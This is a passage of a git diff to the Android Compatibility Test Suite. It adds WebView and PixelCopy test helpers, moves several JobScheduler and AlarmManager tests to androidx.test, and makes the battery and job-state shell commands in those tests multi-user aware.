+    public boolean requestChildRectangleOnScreen(final View child,
+            final Rect rect,
+            final boolean immediate) {
+        return getValue(new ValueGetter<Boolean>() {
+            @Override
+            public Boolean capture() {
+                return mWebView.requestChildRectangleOnScreen(child, rect,
+                        immediate);
+            }
+        });
+    }
+
+    public int findAll(final String find) {
+        return getValue(new ValueGetter<Integer>() {
+            @Override
+            public Integer capture() {
+                return mWebView.findAll(find);
+            }
+        });
+    }
+
+    public Picture capturePicture() {
+        return getValue(new ValueGetter<Picture>() {
+            @Override
+            public Picture capture() {
+                return mWebView.capturePicture();
+            }
+        });
+    }
+
+    public void evaluateJavascript(final String script, final ValueCallback<String> result) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.evaluateJavascript(script, result);
+            }
+        });
+    }
+
+    public void saveWebArchive(final String basename, final boolean autoname,
+                               final ValueCallback<String> callback) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.saveWebArchive(basename, autoname, callback);
+            }
+        });
+    }
+
+    public WebView createWebView() {
+        return getValue(new ValueGetter<WebView>() {
+            @Override
+            public WebView capture() {
+                return new WebView(mWebView.getContext());
+            }
+        });
+    }
+
+    public PrintDocumentAdapter createPrintDocumentAdapter() {
+        return getValue(new ValueGetter<PrintDocumentAdapter>() {
+            @Override
+            public PrintDocumentAdapter capture() {
+                return mWebView.createPrintDocumentAdapter();
+            }
+        });
+    }
+
+    public void setLayoutHeightToMatchParent() {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                ViewParent parent = mWebView.getParent();
+                if (parent instanceof ViewGroup) {
+                    ((ViewGroup) parent).getLayoutParams().height =
+                        ViewGroup.LayoutParams.MATCH_PARENT;
+                }
+                mWebView.getLayoutParams().height = ViewGroup.LayoutParams.MATCH_PARENT;
+                mWebView.requestLayout();
+            }
+        });
+    }
+
+    public void setLayoutToMatchParent() {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                setMatchParent((View) mWebView.getParent());
+                setMatchParent(mWebView);
+                mWebView.requestLayout();
+            }
+        });
+    }
+
+    public void setAcceptThirdPartyCookies(final boolean accept) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                CookieManager.getInstance().setAcceptThirdPartyCookies(mWebView, accept);
+            }
+        });
+    }
+
+    public boolean acceptThirdPartyCookies() {
+        return getValue(new ValueGetter<Boolean>() {
+            @Override
+            public Boolean capture() {
+                return CookieManager.getInstance().acceptThirdPartyCookies(mWebView);
+            }
+        });
+    }
+
+    /**
+     * Helper for running code on the UI thread where an exception is
+     * a test failure. If this is already the UI thread then it runs
+     * the code immediately.
+     *
+     * @see InstrumentationTestCase#runTestOnUiThread(Runnable)
+     * @see ActivityTestRule#runOnUiThread(Runnable)
+     * @param r The code to run in the UI thread
+     */
+    public void runOnUiThread(Runnable r) {
+        try {
+            if (isUiThread()) {
+                r.run();
+            } else {
+                if (mActivityTestRule != null) {
+                    mActivityTestRule.runOnUiThread(r);
+                } else {
+                    mTest.runTestOnUiThread(r);
+                }
+            }
+        } catch (Throwable t) {
+            Assert.fail("Unexpected error while running on UI thread: "
+                    + t.getMessage());
+        }
+    }
+
+    /**
+     * Accessor for underlying WebView.
+     * @return The WebView being wrapped by this class.
+     */
+    public WebView getWebView() {
+        return mWebView;
+    }
+
+    private<T> T getValue(ValueGetter<T> getter) {
+        runOnUiThread(getter);
+        return getter.getValue();
+    }
+
+    private abstract class ValueGetter<T> implements Runnable {
+        private T mValue;
+
+        @Override
+        public void run() {
+            mValue = capture();
+        }
+
+        protected abstract T capture();
+
+        public T getValue() {
+           return mValue;
+        }
+    }
+
+    /**
+     * Returns true if the current thread is the UI thread based on the
+     * Looper.
+     */
+    private static boolean isUiThread() {
+        return (Looper.myLooper() == Looper.getMainLooper());
+    }
+
+    /**
+     * @return Whether or not the load has finished.
+     */
+    private synchronized boolean isLoaded() {
+        return mLoaded && mNewPicture && mProgress == 100;
+    }
+
+    /**
+     * Makes a WebView call, waits for completion and then resets the
+     * load state in preparation for the next load call.
+     * @param call The call to make on the UI thread prior to waiting.
+     */
+    private void callAndWait(Runnable call) {
+        Assert.assertTrue("WebViewOnUiThread.load*AndWaitForCompletion calls "
+                + "may not be mixed with load* calls directly on WebView "
+                + "without calling waitForLoadCompletion after the load",
+                !isLoaded());
+        clearLoad(); // clear any extraneous signals from a previous load.
+        runOnUiThread(call);
+        waitForLoadCompletion();
+    }
+
+    /**
+     * Called whenever a load has been completed so that a subsequent call to
+     * waitForLoadCompletion doesn't return immediately.
+     */
+    synchronized private void clearLoad() {
+        mLoaded = false;
+        mNewPicture = false;
+        mProgress = 0;
+    }
+
+    /**
+     * Uses a polling mechanism, while pumping messages to check when the
+     * criteria is met.
+     */
+    private void waitOnUiThread(long timeout, final Callable<Boolean> doneCriteria) {
+        new PollingCheck(timeout) {
+            @Override
+            protected boolean check() {
+                pumpMessages();
+                try {
+                    return doneCriteria.call();
+                } catch (Exception e) {
+                    Assert.fail("Unexpected error while checking the criteria: "
+                            + e.getMessage());
+                    return true;
+                }
+            }
+        }.run();
+    }
+
+    /**
+     * Uses a wait/notify to check when the criteria is met.
+     */
+    private synchronized void waitOnTestThread(long timeout, Callable<Boolean> doneCriteria) {
+        try {
+            long waitEnd = SystemClock.uptimeMillis() + timeout;
+            long timeRemaining = timeout;
+            while (!doneCriteria.call() && timeRemaining > 0) {
+                this.wait(timeRemaining);
+                timeRemaining = waitEnd - SystemClock.uptimeMillis();
+            }
+            Assert.assertTrue("Action failed to complete before timeout", doneCriteria.call());
+        } catch (InterruptedException e) {
+            // We'll just drop out of the loop and fail
+        } catch (Exception e) {
+            Assert.fail("Unexpected error while checking the criteria: "
+                    + e.getMessage());
+        }
+    }
+
+    /**
+     * Pumps all currently-queued messages in the UI thread and then exits.
+     * This is useful to force processing while running tests in the UI thread.
+     */
+    private void pumpMessages() {
+        class ExitLoopException extends RuntimeException {
+        }
+
+        // Force loop to exit when processing this. Loop.quit() doesn't
+        // work because this is the main Loop.
+        mWebView.getHandler().post(new Runnable() {
+            @Override
+            public void run() {
+                throw new ExitLoopException(); // exit loop!
+            }
+        });
+        try {
+            // Pump messages until our message gets through.
+            Looper.loop();
+        } catch (ExitLoopException e) {
+        }
+    }
+
+    /**
+     * Set LayoutParams to MATCH_PARENT.
+     *
+     * @param view Target view
+     */
+    private void setMatchParent(View view) {
+        ViewGroup.LayoutParams params = view.getLayoutParams();
+        params.height = ViewGroup.LayoutParams.MATCH_PARENT;
+        params.width = ViewGroup.LayoutParams.MATCH_PARENT;
+        view.setLayoutParams(params);
+    }
+
+    /**
+     * A WebChromeClient used to capture the onProgressChanged for use
+     * in waitFor functions. If a test must override the WebChromeClient,
+     * it can derive from this class or call onProgressChanged
+     * directly.
+     */
+    public static class WaitForProgressClient extends WebChromeClient {
+        private WebViewOnUiThread mOnUiThread;
+
+        public WaitForProgressClient(WebViewOnUiThread onUiThread) {
+            mOnUiThread = onUiThread;
+        }
+
+        @Override
+        public void onProgressChanged(WebView view, int newProgress) {
+            super.onProgressChanged(view, newProgress);
+            mOnUiThread.onProgressChanged(newProgress);
+        }
+    }
+
+    /**
+     * A WebViewClient that captures the onPageFinished for use in
+     * waitFor functions. Using initializeWebView sets the WaitForLoadedClient
+     * into the WebView. If a test needs to set a specific WebViewClient and
+     * needs the waitForCompletion capability then it should derive from
+     * WaitForLoadedClient or call WebViewOnUiThread.onPageFinished.
+     */
+    public static class WaitForLoadedClient extends WebViewClient {
+        private WebViewOnUiThread mOnUiThread;
+
+        public WaitForLoadedClient(WebViewOnUiThread onUiThread) {
+            mOnUiThread = onUiThread;
+        }
+
+        @Override
+        public void onPageFinished(WebView view, String url) {
+            super.onPageFinished(view, url);
+            mOnUiThread.onPageFinished();
+        }
+
+        @Override
+        public void onPageStarted(WebView view, String url, Bitmap favicon) {
+            super.onPageStarted(view, url, favicon);
+            mOnUiThread.onPageStarted();
+        }
+    }
+
+    /**
+     * A PictureListener that captures the onNewPicture for use in
+     * waitForLoadCompletion. Using initializeWebView sets the PictureListener
+     * into the WebView. If a test needs to set a specific PictureListener and
+     * needs the waitForCompletion capability then it should call
+     * WebViewOnUiThread.onNewPicture.
+     */
+    private class WaitForNewPicture implements PictureListener {
+        @Override
+        public void onNewPicture(WebView view, Picture picture) {
+            WebViewOnUiThread.this.onNewPicture();
+        }
+    }
+}
diff --git a/libs/deviceutillegacy-axt/src/com/android/compatibility/common/util/SynchronousPixelCopy.java b/libs/deviceutillegacy-axt/src/com/android/compatibility/common/util/SynchronousPixelCopy.java
new file mode 100644
index 0000000..7ba8646
--- /dev/null
+++ b/libs/deviceutillegacy-axt/src/com/android/compatibility/common/util/SynchronousPixelCopy.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.fail;
+
+import android.graphics.Bitmap;
+import android.graphics.Rect;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.view.PixelCopy;
+import android.view.Surface;
+import android.view.Window;
+import android.view.PixelCopy.OnPixelCopyFinishedListener;
+import android.view.SurfaceView;
+
+public class SynchronousPixelCopy implements OnPixelCopyFinishedListener {
+    private static Handler sHandler;
+    static {
+        HandlerThread thread = new HandlerThread("PixelCopyHelper");
+        thread.start();
+        sHandler = new Handler(thread.getLooper());
+    }
+
+    private int mStatus = -1;
+
+    public int request(Surface source, Bitmap dest) {
+        synchronized (this) {
+            PixelCopy.request(source, dest, this, sHandler);
+            return getResultLocked();
+        }
+    }
+
+    public int request(Surface source, Rect srcRect, Bitmap dest) {
+        synchronized (this) {
+            PixelCopy.request(source, srcRect, dest, this, sHandler);
+            return getResultLocked();
+        }
+    }
+
+    public int request(SurfaceView source, Bitmap dest) {
+        synchronized (this) {
+            PixelCopy.request(source, dest, this, sHandler);
+            return getResultLocked();
+        }
+    }
+
+    public int request(SurfaceView source, Rect srcRect, Bitmap dest) {
+        synchronized (this) {
+            PixelCopy.request(source, srcRect, dest, this, sHandler);
+            return getResultLocked();
+        }
+    }
+
+    public int request(Window source, Bitmap dest) {
+        synchronized (this) {
+            PixelCopy.request(source, dest, this, sHandler);
+            return getResultLocked();
+        }
+    }
+
+    public int request(Window source, Rect srcRect, Bitmap dest) {
+        synchronized (this) {
+            PixelCopy.request(source, srcRect, dest, this, sHandler);
+            return getResultLocked();
+        }
+    }
+
+    private int getResultLocked() {
+        try {
+            this.wait(250);
+        } catch (InterruptedException e) {
+            fail("PixelCopy request didn't complete within 250ms");
+        }
+        return mStatus;
+    }
+
+    @Override
+    public void onPixelCopyFinished(int copyResult) {
+        synchronized (this) {
+            mStatus = copyResult;
+            this.notify();
+        }
+    }
+}
diff --git a/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java b/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
index 7db9a76..d20e1a4 100644
--- a/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
+++ b/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
@@ -277,6 +277,16 @@
     }
 
     public void requestFocus() {
+        new PollingCheck(LOAD_TIMEOUT) {
+            @Override
+            protected boolean check() {
+                requestFocusOnUiThread();
+                return hasFocus();
+            }
+        }.run();
+    }
+
+    private void requestFocusOnUiThread() {
         runOnUiThread(new Runnable() {
             @Override
             public void run() {
@@ -285,6 +295,15 @@
         });
     }
 
+    private boolean hasFocus() {
+        return getValue(new ValueGetter<Boolean>() {
+            @Override
+            public Boolean capture() {
+                return mWebView.hasFocus();
+            }
+        });
+    }
+
     public boolean canZoomIn() {
         return getValue(new ValueGetter<Boolean>() {
             @Override
diff --git a/libs/runner/Android.mk b/libs/runner/Android.mk
index 15f64a3..f245351 100644
--- a/libs/runner/Android.mk
+++ b/libs/runner/Android.mk
@@ -16,6 +16,8 @@
 
 include $(CLEAR_VARS)
 
+# The legacy library that brings in android-support-test transitively
+
 LOCAL_STATIC_JAVA_LIBRARIES := cts-test-runner
 
 LOCAL_MODULE_TAGS := optional
@@ -25,3 +27,19 @@
 LOCAL_SDK_VERSION := current
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
+
+
+# The library variant that brings in androidx.test transitively
+include $(CLEAR_VARS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := cts-test-runner-axt
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE := ctstestrunner-axt
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+
diff --git a/tests/AlarmManager/Android.mk b/tests/AlarmManager/Android.mk
index 1b3ff17..127cc5d 100755
--- a/tests/AlarmManager/Android.mk
+++ b/tests/AlarmManager/Android.mk
@@ -22,7 +22,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator android-support-test compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator androidx.test.rules compatibility-device-util-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, app/src)
diff --git a/tests/AlarmManager/AndroidManifest.xml b/tests/AlarmManager/AndroidManifest.xml
index f557b51..30395c0 100644
--- a/tests/AlarmManager/AndroidManifest.xml
+++ b/tests/AlarmManager/AndroidManifest.xml
@@ -21,7 +21,7 @@
         <uses-library android:name="android.test.runner"/>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:functionalTest="true"
                      android:targetPackage="android.alarmmanager.cts"
                      android:label="Alarm Manager Tests"/>
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index 36acd82..8d8adb1 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -31,12 +31,13 @@
 import android.content.IntentFilter;
 import android.os.BatteryManager;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.AppStandbyUtils;
 
 import org.junit.After;
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
index a981e5a..f85ec18 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
@@ -19,8 +19,8 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
-import android.alarmmanager.alarmtestapp.cts.TestAlarmScheduler;
 import android.alarmmanager.alarmtestapp.cts.TestAlarmReceiver;
+import android.alarmmanager.alarmtestapp.cts.TestAlarmScheduler;
 import android.app.AlarmManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -28,12 +28,13 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/JobScheduler/Android.mk b/tests/JobScheduler/Android.mk
index 9cb148b..116d74f 100755
--- a/tests/JobScheduler/Android.mk
+++ b/tests/JobScheduler/Android.mk
@@ -22,7 +22,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ub-uiautomator androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES += $(call all-java-files-under, JobTestApp/src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_PACKAGE_NAME := CtsJobSchedulerTestCases
diff --git a/tests/JobScheduler/AndroidManifest.xml b/tests/JobScheduler/AndroidManifest.xml
index 915536c..db0b6bb 100755
--- a/tests/JobScheduler/AndroidManifest.xml
+++ b/tests/JobScheduler/AndroidManifest.xml
@@ -41,7 +41,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="JobScheduler device-side tests"
         android:targetPackage="android.jobscheduler.cts" >
     </instrumentation>
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
index f8a4228b..dd855da 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
@@ -32,6 +32,7 @@
 import android.os.SystemClock;
 import android.provider.Settings;
 import android.util.Log;
+import android.content.res.Resources;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -49,6 +50,7 @@
     public static final int BATTERY_JOB_ID = BatteryConstraintTest.class.hashCode();
 
     private JobInfo.Builder mBuilder;
+	private int mLowBatteryWarningLevel = 15;
     /**
      * Record of the previous state of power save mode trigger level to reset it after the test
      * finishes.
@@ -59,6 +61,9 @@
     public void setUp() throws Exception {
         super.setUp();
 
+        mLowBatteryWarningLevel = Resources.getSystem().getInteger(
+                     Resources.getSystem().getIdentifier(
+                             "config_lowBatteryWarningLevel", "integer", "android"));
         // Disable power save mode as some devices may turn off Android when power save mode is
         // enabled, causing the test to fail.
         mPreviousLowPowerTriggerLevel = Settings.Global.getInt(getContext().getContentResolver(),
@@ -268,7 +273,7 @@
      * the battery level is critical and not on power.
      */
     public void testBatteryNotLowConstraintFails_withoutPower() throws Exception {
-        setBatteryState(false, 5);
+        setBatteryState(false, mLowBatteryWarningLevel);
         // setBatteryState() waited for the charging/not-charging state to formally settle,
         // but battery level reporting lags behind that.  wait a moment to let that happen
         // before proceeding.
@@ -303,8 +308,8 @@
                 kTestEnvironment.awaitExecution());
 
         // And check that the job is stopped if battery goes low again.
-        setBatteryState(false, 5);
-        setBatteryState(false, 4);
+        setBatteryState(false, mLowBatteryWarningLevel);
+        setBatteryState(false, mLowBatteryWarningLevel - 1);
         waitFor(2_000);
         verifyChargingState(false);
         verifyBatteryNotLowState(false);
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
index 4486c15..e092a0d 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
@@ -114,6 +114,8 @@
                 mWifiManager.isWifiEnabled() == mInitialWiFiState);
 
         mContext.unregisterReceiver(receiver);
+
+        super.tearDown();
     }
 
     // --------------------------------------------------------------------------------------------
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java
index f3a895e..bed0d07 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java
@@ -41,10 +41,6 @@
  */
 @TargetApi(21)
 public abstract class ConstraintTest extends InstrumentationTestCase {
-    /** Force the scheduler to consider the device to be on stable charging. */
-    private static final Intent EXPEDITE_STABLE_CHARGING =
-            new Intent("com.android.server.task.controllers.BatteryController.ACTION_CHARGING_STABLE");
-
     /** Environment that notifies of JobScheduler callbacks. */
     static MockJobService.TestEnvironment kTestEnvironment =
             MockJobService.TestEnvironment.getTestEnvironment();
@@ -112,6 +108,7 @@
 
     @Override
     public void tearDown() throws Exception {
+        SystemUtil.runShellCommand(getInstrumentation(), "cmd battery reset");
         if (mStorageStateChanged) {
             // Put storage service back in to normal operation.
             SystemUtil.runShellCommand(getInstrumentation(), "cmd devicestoragemonitor reset");
@@ -124,8 +121,11 @@
      * considered to be on stable power - that is, plugged in for a period of 2 minutes.
      * Rather than wait for this to happen, we cheat and send this broadcast instead.
      */
-    protected void sendExpediteStableChargingBroadcast() {
-        getContext().sendBroadcast(EXPEDITE_STABLE_CHARGING);
+    protected void sendExpediteStableChargingBroadcast() throws Exception {
+        // Faking the device to be 90% charging and then to be 91%, so that it triggers
+        // BatteryManager.ACTION_CHARGING in the upward change-level transition logic.
+        SystemUtil.runShellCommand(getInstrumentation(), "cmd battery set level 90");
+        SystemUtil.runShellCommand(getInstrumentation(), "cmd battery set level 91");
     }
 
     public void assertHasUriPermission(Uri uri, int grantFlags) {
@@ -184,8 +184,8 @@
 
     String getJobState(int jobId) throws Exception {
         return SystemUtil.runShellCommand(getInstrumentation(),
-                "cmd jobscheduler get-job-state " + kJobServiceComponent.getPackageName()
-                        + " " + jobId).trim();
+                "cmd jobscheduler get-job-state --user cur "
+                        + kJobServiceComponent.getPackageName() + " " + jobId).trim();
     }
 
     void assertJobReady(int jobId) throws Exception {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
index e624a62..a3e9343 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
@@ -36,12 +36,13 @@
 import android.jobscheduler.cts.jobtestapp.TestJobSchedulerReceiver;
 import android.os.PowerManager;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.AppStandbyUtils;
 
 import org.junit.After;
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java
index 10b84d6..8fc13be 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java
@@ -19,9 +19,10 @@
 import android.annotation.TargetApi;
 import android.app.job.JobInfo;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.UiDevice;
 
+import androidx.test.InstrumentationRegistry;
+
 /**
  * Make sure the state of {@link android.app.job.JobScheduler} is correct.
  */
diff --git a/tests/JobSchedulerSharedUid/Android.mk b/tests/JobSchedulerSharedUid/Android.mk
index 416c2e3..0b9912c 100755
--- a/tests/JobSchedulerSharedUid/Android.mk
+++ b/tests/JobSchedulerSharedUid/Android.mk
@@ -22,7 +22,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ub-uiautomator androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/JobSchedulerSharedUid/AndroidManifest.xml b/tests/JobSchedulerSharedUid/AndroidManifest.xml
index 5cf9ce5..824b73a 100755
--- a/tests/JobSchedulerSharedUid/AndroidManifest.xml
+++ b/tests/JobSchedulerSharedUid/AndroidManifest.xml
@@ -40,7 +40,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="JobScheduler shared-uid device-side tests"
         android:targetPackage="android.jobscheduler.cts.shareduidtests" >
     </instrumentation>
diff --git a/tests/JobSchedulerSharedUid/jobperm/Android.mk b/tests/JobSchedulerSharedUid/jobperm/Android.mk
index 8be235f..44ecdf3 100644
--- a/tests/JobSchedulerSharedUid/jobperm/Android.mk
+++ b/tests/JobSchedulerSharedUid/jobperm/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_MODULE_TAGS := tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
+    compatibility-device-util-axt \
 
 LOCAL_SRC_FILES := \
     $(call all-java-files-under, src) \
diff --git a/tests/JobSchedulerSharedUid/shareduid/Android.mk b/tests/JobSchedulerSharedUid/shareduid/Android.mk
index 1376b4e..cfc89cd 100644
--- a/tests/JobSchedulerSharedUid/shareduid/Android.mk
+++ b/tests/JobSchedulerSharedUid/shareduid/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_MODULE_TAGS := tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
+    compatibility-device-util-axt \
 
 LOCAL_SRC_FILES := \
     $(call all-java-files-under, src) \
diff --git a/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/ConstraintTest.java b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/ConstraintTest.java
index fcdb593..9e5b266 100644
--- a/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/ConstraintTest.java
+++ b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/ConstraintTest.java
@@ -184,8 +184,8 @@
 
     String getJobState(int jobId) throws Exception {
         return SystemUtil.runShellCommand(getInstrumentation(),
-                "cmd jobscheduler get-job-state " + kJobServiceComponent.getPackageName()
-                        + " " + jobId).trim();
+                "cmd jobscheduler get-job-state --user cur "
+                        + kJobServiceComponent.getPackageName() + " " + jobId).trim();
     }
 
     void assertJobReady(int jobId) throws Exception {
diff --git a/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java
index cadf73a..8e79f23 100644
--- a/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java
+++ b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java
@@ -311,6 +311,7 @@
         mJobScheduler.enqueue(ji, new JobWorkItem(work6));
         kTestEnvironment.readyToWork();
         SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler run "
+                + " --user " + getCurrentUser() + " "
                 + kJobServiceComponent.getPackageName() + " " + ENQUEUE_WORK_JOB_ID);
 
         assertTrue("Restarted with work enqueued did not execute.",
@@ -366,6 +367,7 @@
         mJobScheduler.enqueue(ji, new JobWorkItem(work6));
         kTestEnvironment.readyToWork();
         SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler run "
+                + " --user " + getCurrentUser() + " "
                 + kJobServiceComponent.getPackageName() + " " + ENQUEUE_WORK_JOB_ID);
 
         assertTrue("Restarted with work enqueued did not execute.",
@@ -429,4 +431,8 @@
         waitPermissionRevoke(mFirstUri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, 5000);
         waitPermissionRevoke(mSecondUri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, 5000);
     }
+
+    private static int getCurrentUser() {
+        return android.os.Process.myUserHandle().getIdentifier();
+    }
 }
diff --git a/tests/ProcessTest/AndroidManifest.xml b/tests/ProcessTest/AndroidManifest.xml
index c7cf635..f2d7202 100644
--- a/tests/ProcessTest/AndroidManifest.xml
+++ b/tests/ProcessTest/AndroidManifest.xml
@@ -18,7 +18,7 @@
        android:sharedUserId="com.android.cts.process.uidpid_test">
 
     <!-- InstrumentationTestRunner for AndroidTests -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.process"
                      android:label="Test process"/>
     <application>
diff --git a/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java b/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
index a64a900..8faee83 100644
--- a/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
+++ b/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
@@ -25,6 +25,8 @@
 import android.content.pm.PackageManager;
 import android.test.AndroidTestCase;
 
